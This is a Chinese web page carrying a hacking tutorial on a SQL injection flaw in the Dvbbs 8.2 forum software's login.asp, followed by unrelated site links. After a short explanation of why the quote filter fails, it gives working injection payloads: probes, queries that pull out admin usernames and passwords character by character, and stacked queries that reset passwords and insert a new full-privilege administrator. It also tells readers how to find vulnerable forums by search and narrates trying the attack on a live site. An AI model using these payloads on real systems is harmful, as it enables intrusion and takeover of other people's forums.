客服电话
APP下载
迪恩网络APP
随时随地掌握行业动态
官方微信
扫描二维码
关注迪恩网络微信公众号
|
dvbbs8.2漏洞补下载地址:
http://bbs.dvbbs.net/dispbbs.asp?boardid=8&;Id=1519564
紧急安全补丁0530 dvbbs8.2漏洞的产生 login.asp 这个文件的97行Function Dvbbs_ChkLogin 开始有以下代码： username=trim(Dvbbs.CheckStr(request("username"))) 而passport和username是用户输入的。 Public Function Checkstr(Str) If Isnull(Str) Then CheckStr = "" Exit Function End If Str = Replace(Str,Chr(0),"") CheckStr = Replace(Str,"'","''") End Function 动网用Checkstr进行处理。 当我们输入111'，request("username")是111' Dvbbs.CheckStr(request("passport"))以后还是111' If ajaxPro Then username = unescape(username) username就变成了111' 所以，【'】符号并没有过滤掉，漏洞就产生了。 ------------------------------------------------ 搜索:Powered By Dvbbs Version 8.2.0 有很多用存在这样漏洞的BBS 对于新手,分析过程比较复杂,特别是语句的组合,看了我的这个教程,基本上在一分钟之内就可以搞定. admin' and '1'='1 用户名或者密码不正确. admin' and '1'='2 本论坛不存在该用户名. 判断数据库类型: ;and (select count(*) from sysobjects)>0 ;and (select count(*) from msysobjects)>0 admin' and 1=(select count(*) from dv_admin where left(username,1)='a') and '1'='1 admin' and 1=(select count(*) from dv_admin where left(password,1)='a') and '1'='1 ' and (select @@version)>0-- ' and (select is_srvrolemember('sysadmin'))>0-- ' and (select IS_MEMBER('db_owner'))>0-- 49ba59abbe56e057=123456 ';update dv_user set password='49ba59abbe56e057' where username='sishui'-- ';update dv_user set usergroupid=1 where username='sishui'-- bugtest';insert into dv_user (username,userpassword,usergroupid) values('sishui','49ba59abbe56e057','1')-- bugtest';insert into dv_admin (username,password,flag,adduser) values('sishui','49ba59abbe56e057','1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45','sishui')-- 为了省时间我就直接先找了个论坛测试，大家看操作就好，我们来到登陆页面，这句话的意思就是在这个论坛里加入一个管理拥护， 我拥护名为sishui 密码为123456 密码是加密的， 我们来看看 下面的密码随便输入 ，这个意思就是代表成功了，我们来登陆看看，看见了吧， 呵呵， 我们在来进后台不成功， 为什么呢， 应为刚刚我加入的是论坛管理， 没有提到后台管理，下面我们在来用代码，提到后台管理权限，我们来看代码 意思就是把他的权限全部提升到45 ，我们来试试，好了，我们在登陆看，我们进来了，呵呵，。 好了就这样，教程结束 |
2023-10-27
2022-08-15
2022-08-17
2022-09-23
2022-08-13
六六分期app的软件客服如何联系？不知道吗？加qq群【895510560】即可！标题：六六分期
今天小编告诉大家如何处理win10系统火狐flash插件总是崩溃的问题，可能很多用户都不知
今天小编告诉大家如何对win10系统删除桌面回收站图标进行设置，可能很多用户都不知道
今天小编告诉大家如何对win10系统电脑设置节能降温的设置方法，想必大家都遇到过需要
我们在使用xp系统的过程中,经常需要对xp系统无线网络安装向导设置进行设置，可能很多
今天小编告诉大家如何处理win7系统玩cf老是与主机连接不稳定的问题，可能很多用户都不
电脑对日常生活的重要性小编就不多说了，可是一旦碰到win7系统设置cf烟雾头的问题，很
我们在日常使用电脑的时候，有的小伙伴们可能在打开应用的时候会遇见提示应用程序无法
今天小编告诉大家如何对win7系统打开vcf文件进行设置，可能很多用户都不知道怎么对win
今天小编告诉大家如何对win10系统s4开启USB调试模式进行设置，可能很多用户都不知道怎
请发表评论